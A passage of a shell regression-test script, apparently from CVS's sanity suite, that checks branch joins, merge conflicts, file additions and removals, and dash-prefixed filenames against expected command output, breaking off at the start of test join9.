\"${testcvs} -q status file1\" \\\n\"===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest join2-10 \"cat CVS/Tag\" \"Tbr1\"\n\n\t dotest join2-11 \"${testcvs} -q update -j br1 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.1\nMerging differences between 1\\.1 and 1\\.1\\.2\\.1 into file1\"\n\t dotest join2-12 \"cat file1\" \"initial contents of file1\nmodify on branch\"\n\t # We should have no sticky tag on file1\n\t dotest join2-13 \"${testcvs} -q status file1\" \\\n\"===================================================================\nFile: file1 \tStatus: Locally Modified\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest join2-14 \"cat CVS/Tag\" \"Tbr1\"\n\t # And the checkin should go to the trunk\n\t dotest join2-15 \"${testcvs} -q ci -m modify file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # OK, the above is all well and good and has worked for some\n\t # time. Now try the case where the file had been added on\n\t # the branch.\n\t dotest join2-16 \"${testcvs} -q update -r br1\" \"[UP] file1\"\n\t # The workaround is to update the whole directory.\n\t # The non-circumvented version won't work. The reason is that\n\t # update removes the entry from CVS/Entries, so of course we get\n\t # the tag from CVS/Tag and not Entries. I suppose maybe\n\t # we could invent some new format in Entries which would handle\n\t # this, but doing so, and handling it properly throughout\n\t # CVS, would be a lot of work and I'm not sure this case justifies\n\t # it.\n\t dotest join2-17-circumvent \"${testcvs} -q update -A\" \\\n\"${PROG} update: bradd is no longer in the repository\n[UP] file1\"\n:\t dotest join2-17 \"${testcvs} -q update -A bradd\" \\\n\"${PROG} update: warning: bradd is not (any longer) pertinent\"\n\t dotest join2-18 \"${testcvs} -q update -j br1 bradd\" \"U bradd\"\n\t dotest join2-19 \"${testcvs} -q status bradd\" \\\n\"===================================================================\nFile: bradd \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/Attic/bradd,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest join2-20 \"${testcvs} -q ci -m modify bradd\" \\\n\"Checking in bradd;\n${CVSROOT_DIRNAME}/first-dir/bradd,v <-- bradd\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tjoin3)\n\t # See \"join\" for a list of other joining/branching tests.\n\t # First the usual setup; create a directory first-dir, a file\n\t # first-dir/file1, and a branch br1.\n\t mkdir 1; cd 1\n\t dotest join3-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest join3-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t echo 'initial contents of file1' >file1\n\t dotest join3-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest join3-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest join3-5 \"${testcvs} -q tag -b br1\" \"T file1\"\n\t dotest join3-6 \"$testcvs -q update -r br1\" '[UP] file1'\n\t echo 'br1:line1' >>file1\n\t dotest join3-7 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t # Now back to the trunk for:\n\t # another revision and another branch for file1.\n\t # add file2, which will exist on trunk and br2 but not br1.\n\t dotest join3-8 \"${testcvs} -q update -A\" \"[UP] file1\"\n\t echo 'trunk:line1' > file2\n\t dotest join3-8a \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t echo 'trunk:line1' >>file1\n\t dotest join3-9 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t dotest join3-10 \"${testcvs} -q tag -b br2\" \"T file1\nT file2\"\n\n\t # Before we actually have any revision on br2, let's try a join\n\t dotest join3-11 \"${testcvs} -q update -r br1\" \"[UP] file1\n${PROG} update: file2 is no longer in the repository\"\n\t dotest join3-12 \"${testcvs} -q update -j br2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into file1\nrcsmerge: warning: conflicts during merge\nU file2\"\n\t dotest join3-13 \"cat file1\" \\\n\"initial contents of file1\n[<]<<<<<< file1\nbr1:line1\n[=]======\ntrunk:line1\n[>]>>>>>> 1\\.2\"\n\t rm file1\n\n\t # OK, we'll try the same thing with a revision on br2.\n\t dotest join3-14 \"${testcvs} -q update -r br2 file1\" \\\n\"${PROG} update: warning: file1 was lost\nU file1\" \"U file1\"\n\t echo 'br2:line1' >>file1\n\t dotest join3-15 \"${testcvs} -q ci -m modify file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2\\.2\\.1; previous revision: 1\\.2\ndone\"\n\n\t # OK, now we can join br2 to br1\n\t dotest join3-16 \"${testcvs} -q update -r br1 file1\" \"[UP] file1\"\n\t # It may seem odd, to merge a higher branch into a lower\n\t # branch, but in fact CVS defines the ancestor as 1.1\n\t # and so it merges both the 1.1->1.2 and 1.2->1.2.2.1 changes.\n\t # This seems like a reasonably plausible behavior.\n\t dotest join3-17 \"${testcvs} -q update -j br2 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\\.2\\.1\nMerging differences between 1\\.1 and 1\\.2\\.2\\.1 into file1\nrcsmerge: warning: conflicts during merge\"\n\t dotest join3-18 \"cat file1\" \\\n\"initial contents of file1\n[<]<<<<<< file1\nbr1:line1\n[=]======\ntrunk:line1\nbr2:line1\n[>]>>>>>> 1\\.2\\.2\\.1\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tjoin4)\n\t # Like join, but with local (uncommitted) modifications.\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1\n\t cd 1\n\t dotest join4-1 \"${testcvs} -q co first-dir\" ''\n\n\t cd first-dir\n\n\t # Add two files.\n\t echo 'first revision of file3' > file3\n\t echo 'first revision of file4' > file4\n\t echo 'first revision of file6' > file6\n\t echo 'first revision of file8' > file8\n\t echo 'first revision of file9' > file9\n\t dotest join4-2 \"${testcvs} add file3 file4 file6 file8 file9\" \\\n\"${PROG}\"' add: scheduling file `file3'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file4'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file6'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file8'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file9'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\n\t dotest join4-3 \"${testcvs} -q commit -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file6,v\ndone\nChecking in file6;\n${CVSROOT_DIRNAME}/first-dir/file6,v <-- file6\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file8,v\ndone\nChecking in file8;\n${CVSROOT_DIRNAME}/first-dir/file8,v <-- file8\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file9,v\ndone\nChecking in file9;\n${CVSROOT_DIRNAME}/first-dir/file9,v <-- file9\ninitial revision: 1\\.1\ndone\"\n\n\t # Make a branch.\n\t dotest join4-4 \"${testcvs} -q tag -b branch .\" \\\n'T file3\nT file4\nT file6\nT file8\nT file9'\n\n\t # Add file10\n\t echo 'first revision of file10' > file10\n\t dotest join4-7a \"${testcvs} add file10\" \\\n\"${PROG}\"' add: scheduling file `file10'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest join4-7b \"${testcvs} -q ci -mx .\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file10,v\ndone\nChecking in file10;\n${CVSROOT_DIRNAME}/first-dir/file10,v <-- file10\ninitial revision: 1\\.1\ndone\"\n\n\t # Add file2 and file7, modify file4, and remove\n\t # file6, file8, file9, and file10.\n\t echo 'first revision of file2' > file2\n\t echo 'second revision of file4' > file4\n\t echo 'first revision of file7' > file7\n\t rm file6 file8 file9 file10\n\t dotest join4-5 \"${testcvs} add file2 file7\" \\\n\"${PROG}\"' add: scheduling file `file2'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file7'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\t dotest join4-6 \"${testcvs} rm file6 file8 file9 file10\" \\\n\"${PROG}\"' remove: scheduling `file6'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file8'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file9'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file10'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove these files permanently'\n\n\t # Check out the branch.\n\t cd ../..\n\t mkdir 2\n\t cd 2\n\t dotest join4-8 \"${testcvs} -q co -r branch first-dir\" \\\n'U first-dir/file3\nU first-dir/file4\nU first-dir/file6\nU first-dir/file8\nU first-dir/file9'\n\n\t cd first-dir\n\n\t # Modify the files on the branch, so that T1 is not an\n\t # ancestor of the main line, and add file5\n\t echo 'first branch revision of file3' > file3\n\t echo 'first branch revision of file4' > file4\n\t echo 'first branch revision of file5' > file5\n\t echo 'first branch revision of file6' > file6\n\t echo 'first branch revision of file9' > file9\n\t dotest join4-9 \"${testcvs} add file5\" \\\n\"${PROG}\"' add: scheduling file `file5'\\'' for addition on branch `branch'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest join4-10 \"${testcvs} -q ci -mx .\" \\\n\"Checking in file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file5,v\ndone\nChecking in file5;\n${CVSROOT_DIRNAME}/first-dir/Attic/file5,v <-- file5\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file6;\n${CVSROOT_DIRNAME}/first-dir/file6,v <-- file6\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file9;\n${CVSROOT_DIRNAME}/first-dir/file9,v <-- file9\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t # Tag the current revisions on the branch.\n\t dotest join4-11 \"${testcvs} -q tag T1 .\" \\\n'T file3\nT file4\nT file5\nT file6\nT file8\nT file9'\n\n\t # Add file1 and file2, modify file9, and remove the other files.\n\t echo 'first branch revision of file1' > file1\n\t echo 'first branch revision of file2' > file2\n\t echo 'second branch revision of file9' > file9\n\t rm file3 file4 file5 file6\n\t dotest join4-12 \"${testcvs} add file1 file2\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition on branch `branch'\\''\n'\"${PROG}\"' add: scheduling file `file2'\\'' for addition on branch `branch'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\t dotest join4-13 \"${testcvs} rm file3 file4 file5 file6\" \\\n\"${PROG}\"' remove: scheduling `file3'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file4'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file5'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file6'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove these files permanently'\n\t dotest join4-14 \"${testcvs} -q ci -mx .\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/Attic/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/Attic/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nRemoving file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\nRemoving file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\nRemoving file5;\n${CVSROOT_DIRNAME}/first-dir/Attic/file5,v <-- file5\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\nRemoving file6;\n${CVSROOT_DIRNAME}/first-dir/file6,v <-- file6\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\nChecking in file9;\n${CVSROOT_DIRNAME}/first-dir/file9,v <-- file9\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\n\t # Tag the current revisions on the branch.\n\t dotest join4-15 \"${testcvs} -q tag T2 .\" \\\n'T file1\nT file2\nT file8\nT file9'\n\n\t # Modify file4 locally, and do an update with a merge.\n\t cd ../../1/first-dir\n\t echo 'third revision of file4' > file4\n\t dotest join4-18 \"$testcvs -q update -jT1 -jT2 .\" \\\n\"U file1\nR file10\nA file2\n$PROG update: file file2 exists, but has been added in revision T2\n$PROG update: scheduling file3 for removal\nM file4\n$PROG update: file file4 has been removed in revision T2, but the destination is incompatibly modified\nC file4\nR file6\nA file7\nR file8\nR file9\n$PROG update: file file9 does not exist, but is present in revision T2\"\n\n\t # Verify that the right changes have been scheduled.\n\t dotest_fail join4-19 \"${testcvs} -q update\" \\\n'A file1\nR file10\nA file2\nR file3\nC file4\nR file6\nA file7\nR file8\nR file9'\n\n\t cd ../..\n\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tjoin5)\n\t # This test verifies that CVS can handle filenames starting with a\n\t # dash (`-') properly. What used to happen was that CVS handled it\n\t # just fine, until it went to pass them as arguments to the diff\n\t # library, at which point it neglected to pass `--' before the file\n\t # list, causing the diff library to attempt to interpret the file\n\t # name as an argument.\n\t mkdir join5; cd join5\n\t mkdir 1; cd 1\n\t dotest join5-init-1 \"${testcvs} -Q co -l .\"\n\t mkdir join5\n\t dotest join5-init-2 \"${testcvs} -Q add join5\"\n\t cd join5\n\t echo \"there once was a file from harrisburg\" >-file\n\t echo \"who's existance it seems was quiteabsurd\" >>-file\n\t dotest join5-init-3 \"${testcvs} -Q add -- -file\"\n\t dotest join5-init-4 \"${testcvs} -q ci -minitial\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/join5/-file,v\ndone\nChecking in -file;\n${CVSROOT_DIRNAME}/join5/-file,v <-- -file\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\n\t mkdir 2; cd 2\n\t dotest join5-init-5 \"${testcvs} -Q co join5\"\n\t cd join5\n\t echo \"it tested for free\" >>-file\n\t echo \"when paid it should be\" >>-file\n\t dotest join5-init-4 \"${testcvs} -q ci -msecond\" \\\n\"Checking in -file;\n${CVSROOT_DIRNAME}/join5/-file,v <-- -file\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../..\n\n\t cd 1/join5\n\t echo \"but maybe it could charge bytheword\" >>-file\n\t # This is the test that used to spew complaints from diff3:\n\t dotest join5 \"${testcvs} up\" \\\n\"${PROG} update: Updating \\.\nRCS file: ${CVSROOT_DIRNAME}/join5/-file,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into -file\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in -file\nC -file\"\n\t cd ../..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ..\n\t rm -r join5\n\t rm -rf ${CVSROOT_DIRNAME}/join5\n\t ;;\n\n join6)\n\t mkdir join6; cd join6\n mkdir 1; cd 1\n\t dotest join6-init-1 \"${testcvs} -Q co -l .\"\n\t mkdir join6\n\t dotest join6-init-2 \"${testcvs} -Q add join6\"\n\t cd join6\n echo aaa >temp.txt\n\t echo bbb >>temp.txt\n\t echo ccc >>temp.txt\n\t dotest join6-1 \"${testcvs} -Q add temp.txt\"\n\t dotest join6-2 \"${testcvs} -q commit -minitial temp.txt\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/join6/temp\\.txt,v\ndone\nChecking in temp\\.txt;\n${CVSROOT_DIRNAME}/join6/temp.txt,v <-- temp\\.txt\ninitial revision: 1\\.1\ndone\"\n\t cp temp.txt temp2.txt\n\t echo ddd >>temp.txt\n\t dotest join6-3 \"${testcvs} -q commit -madd temp.txt\" \\\n\"Checking in temp\\.txt;\n${CVSROOT_DIRNAME}/join6/temp.txt,v <-- temp\\.txt\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # The case where the merge target is up-to-date and its base revision\n\t # matches the second argument to -j: CVS doesn't bother attempting\n\t # the merge since it already knows that the target contains the\n\t # change.\n\t dotest join6-3.3 \"${testcvs} update -j1.1 -j1.2 temp.txt\" \\\n\"temp\\.txt already contains the differences between 1\\.1 and 1\\.2\"\n\t dotest join6-3.4 \"${testcvs} diff temp.txt\" \"\"\n\n\t # The case where the merge target is modified but already contains\n\t # the change.\n\t echo bbb >temp.txt\n\t echo ccc >>temp.txt\n\t echo ddd >>temp.txt\n\t dotest join6-3.5 \"${testcvs} update -j1.1 -j1.2 temp.txt\" \\\n\"M temp\\.txt\nRCS file: ${CVSROOT_DIRNAME}/join6/temp\\.txt,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into temp\\.txt\ntemp\\.txt already contains the differences between 1\\.1 and 1\\.2\"\n\t dotest_fail join6-3.6 \"${testcvs} diff temp.txt\" \\\n\"Index: temp\\.txt\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/join6/temp\\.txt,v\nretrieving revision 1\\.2\ndiff -r1\\.2 temp.txt\n1d0\n< aaa\"\n\n\t cp temp2.txt temp.txt\n\t dotest_fail join6-4 \"${testcvs} diff temp.txt\" \\\n\"Index: temp.txt\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/join6/temp\\.txt,v\nretrieving revision 1\\.2\ndiff -r1\\.2 temp\\.txt\n4d3\n< ddd\"\n\n\t dotest join6-5 \"${testcvs} update -j1.1 -j1.2 temp.txt\" \\\n\"M temp\\.txt\nRCS file: ${CVSROOT_DIRNAME}/join6/temp\\.txt,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into temp\\.txt\"\n\t dotest join6-6 \"${testcvs} diff temp.txt\" \"\"\n\t mv temp.txt temp3.txt\n\t dotest join6-7 \"sed 's/ddd/dddd/' < temp3.txt > temp.txt\" \"\"\n\t dotest join6-8 \"${testcvs} update -j1.1 -j1.2 temp.txt\" \\\n\"M temp\\.txt\nRCS file: ${CVSROOT_DIRNAME}/join6/temp\\.txt,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into temp\\.txt\nrcsmerge: warning: conflicts during merge\"\n\t dotest_fail join6-9 \"${testcvs} diff temp.txt\" \\\n\"Index: temp\\.txt\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/join6/temp.txt,v\nretrieving revision 1\\.2\ndiff -r1\\.2 temp\\.txt\n3a4,6\n> <<<<<<< temp\\.txt\n> dddd\n> =======\n4a8\n> >>>>>>> 1\\.2\"\n\t cp temp2.txt temp.txt\n\t dotest join6-10 \"${testcvs} -q ci -m del temp.txt\" \\\n\"Checking in temp\\.txt;\n${CVSROOT_DIRNAME}/join6/temp.txt,v <-- temp\\.txt\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n cp temp3.txt temp.txt\n\t dotest_fail join6-11 \"${testcvs} diff temp.txt\" \\\n\"Index: temp\\.txt\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/join6/temp.txt,v\nretrieving revision 1\\.3\ndiff -r1\\.3 temp\\.txt\n3a4\n> ddd\"\n\t dotest join6-12 \"${testcvs} update -j1.2 -j1.3 temp.txt\" \\\n\"M temp\\.txt\nRCS file: ${CVSROOT_DIRNAME}/join6/temp\\.txt,v\nretrieving revision 1\\.2\nretrieving revision 1\\.3\nMerging differences between 1\\.2 and 1\\.3 into temp\\.txt\"\n\t dotest join6-13 \"${testcvs} diff temp.txt\" \"\"\n\n\t # The case where the merge target wasn't created until after the\n\t # first tag was applied\n\t rm temp2.txt temp3.txt\n\t dotest join6-20 \"${testcvs} -q tag -r1.1 t1\" \\\n\"T temp.txt\"\n\t echo xxx >temp2.txt\n\t dotest join6-21 \"${testcvs} -Q add temp2.txt\"\n\t dotest join6-22 \"${testcvs} -q ci -m.\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/join6/temp2.txt,v\ndone\nChecking in temp2\\.txt;\n${CVSROOT_DIRNAME}/join6/temp2\\.txt,v <-- temp2\\.txt\ninitial revision: 1\\.1\ndone\"\n\t dotest join6-23 \"${testcvs} -q tag t2\" \\\n\"T temp.txt\nT temp2.txt\"\n\t echo xxx >>temp.txt\n\t dotest join6-24 \"${testcvs} -q ci -m.\" \\\n\"Checking in temp\\.txt;\n${CVSROOT_DIRNAME}/join6/temp.txt,v <-- temp\\.txt\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\t dotest join6-25 \"${testcvs} -q up -jt1 -jt2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/join6/temp.txt,v\nretrieving revision 1\\.1\nretrieving revision 1\\.3\nMerging differences between 1\\.1 and 1\\.3 into temp.txt\ntemp.txt already contains the differences between 1\\.1 and 1\\.3\ntemp2.txt already contains the differences between creation and 1\\.1\"\n\n\t # Now for my next trick: delete the file, recreate it, and\n\t # try to merge\n\t dotest join6-30 \"${testcvs} -q rm -f temp2.txt\" \\\n\"${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest join6-31 \"${testcvs} -q ci -m. temp2.txt\" \\\n\"Removing temp2\\.txt;\n${CVSROOT_DIRNAME}/join6/temp2\\.txt,v <-- temp2\\.txt\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t echo new >temp2.txt\n\t # FIXCVS: Local and remote really shouldn't be different and there\n\t # really shouldn't be two different status lines for temp2.txt\n\t if $remote; then\n\t dotest_fail join6-32 \"${testcvs} -q up -jt1 -jt2\" \\\n\"? temp2\\.txt\nRCS file: ${CVSROOT_DIRNAME}/join6/temp.txt,v\nretrieving revision 1\\.1\nretrieving revision 1\\.3\nMerging differences between 1\\.1 and 1\\.3 into temp.txt\ntemp.txt already contains the differences between 1\\.1 and 1\\.3\n${PROG} update: move away \\./temp2\\.txt; it is in the way\nC temp2\\.txt\"\n\t else\n\t dotest join6-32 \"${testcvs} -q up -jt1 -jt2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/join6/temp.txt,v\nretrieving revision 1\\.1\nretrieving revision 1\\.3\nMerging differences between 1\\.1 and 1\\.3 into temp.txt\ntemp.txt already contains the differences between 1\\.1 and 1\\.3\n${PROG} update: use .${PROG} add. to create an entry for temp2\\.txt\nU temp2\\.txt\n? temp2\\.txt\"\n\t fi\n\n\t cd ../../..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n exit 0\n\t fi\n\n\t rm -r join6\n\t rm -rf ${CVSROOT_DIRNAME}/join6\n\t ;;\n\n\tjoin7)\n\t # This test deals with joins that happen with the -n switch\n\t mkdir join7; cd join7\n\t mkdir impdir; cd impdir\n echo aaa >temp.txt\n\t echo bbb >>temp.txt\n\t echo ccc >>temp.txt\n\t dotest join7-1 \\\n\"${testcvs} -Q import -minitial join7 vendor vers-1\" \\\n\"\"\n\t cd ..\n\t dotest join7-2 \"${testcvs} -Q co join7\" \"\"\n\t cd join7\n\t echo ddd >> temp.txt\n\t dotest join7-3 \"${testcvs} -Q ci -madded-line temp.txt\" \\\n\"Checking in temp.txt;\n$CVSROOT_DIRNAME/join7/temp.txt,v <-- temp.txt\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../impdir\n\t echo aaaa >temp.txt\n\t echo bbbb >>temp.txt\n\t echo ccc >>temp.txt\n\t echo eee >>temp.txt\n\t dotest join7-4 \\\n\"${testcvs} -Q import -minitial join7 vendor vers-2\" \\\n\"\"\n\t cd ../join7\n\t dotest join7-5 \\\n\"${testcvs} -n update -jvers-1 -jvers-2 temp.txt\" \\\n\"RCS file: $CVSROOT_DIRNAME/join7/temp.txt,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.2\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.2 into temp.txt\nrcsmerge: warning: conflicts during merge\"\n\t touch temp.txt\n\t dotest join7-6 \"${testcvs} -n update -jvers-1 -jvers-2 temp.txt\" \\\n\"RCS file: $CVSROOT_DIRNAME/join7/temp.txt,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.2\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.2 into temp.txt\nrcsmerge: warning: conflicts during merge\" \\\n\"RCS file: $CVSROOT_DIRNAME/join7/temp.txt,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.2\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.2 into temp.txt\nrcsmerge: warning: conflicts during merge\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n exit 0\n\t fi\n\n\t cd ../..\n\t rm -r join7\n\t rm -rf $CVSROOT_DIRNAME/join7\n\t ;;\n\n\n\n join8)\n\t # In this test case, we have 2 projects, one called \"pvcs\" and one\n\t # called \"project\". The \"pvcs\" project has modified the file, while\n\t # the \"project\" project has caused a deletion. When \"project\" is\n\t # merged into \"pvcs\", we expect CVS to detect a conflict.\n mkdir join8; cd join8\n mkdir combine\n mkdir base\n mkdir pvcs\n mkdir project\n \n echo \"aaa\" >base/file.txt\n echo \"bbb\" >pvcs/file.txt\n echo \"ccc\" >project/xxx.txt\n \n cd base\n dotest join8-1 \\\n\"$testcvs import -b 1.1.101 -ko -m 'base import' join8 base base-1\" \\\n\"N join8/file\\.txt\n\nNo conflicts created by this import\"\n \n cd ../pvcs\n dotest join8-2 \\\n\"$testcvs import -b 1.1.201 -ko -m 'pvcs import' join8 pvcs pvcs-1\" \\\n\"C join8/file\\.txt\n\n1 conflicts created by this import.\nUse the following command to help the merge:\n\n\t$PROG checkout -j -jpvcs-1 join8\"\n\n cd ../project\n dotest join8-3 \\\n\"$testcvs import -b 1.1.301 -ko -m 'project import' join8 project project-1\" \\\n\"N join8/xxx\\.txt\n\nNo conflicts created by this import\"\n\n cd ..\n dotest join8-4 \\\n\"$testcvs checkout -r pvcs-1 -j base-1 -j project-1 -d combine join8\" \\\n\"$PROG checkout: Updating combine\nU combine/file\\.txt\n$PROG checkout: file combine/file\\.txt has been removed in revision project-1, but the destination is incompatibly modified\nC combine/file.txt\nU combine/xxx\\.txt\"\n\n dotest join8-5 \\\n\"$testcvs -Q up -pr base-1 combine/file.txt >combine/file.txt\"\n\n dotest join8-6 \\\n\"$testcvs up -j base-1 -j project-1 combine\" \\\n\"$PROG update: Updating combine\nM combine/file\\.txt\n$PROG update: scheduling combine/file\\.txt for removal\nA combine/xxx\\.txt\n$PROG update: file combine/xxx\\.txt exists, but has been added in revision project-1\"\n cd ..\n \n if $keep; then\n echo Keeping $TESTDIR and exiting due to --keep\n exit 0\n fi\n \n rm -r join8\n rm -rf $CVSROOT_DIRNAME/join8\n ;;\n\n\n\n join9)\n\t # In this test case, we have 2 projects, one called \"pvcs\" and one\n\t # called \"project\". The \"pvcs\" project has not modified the file,\n\t # while the \"project\" project has caused a 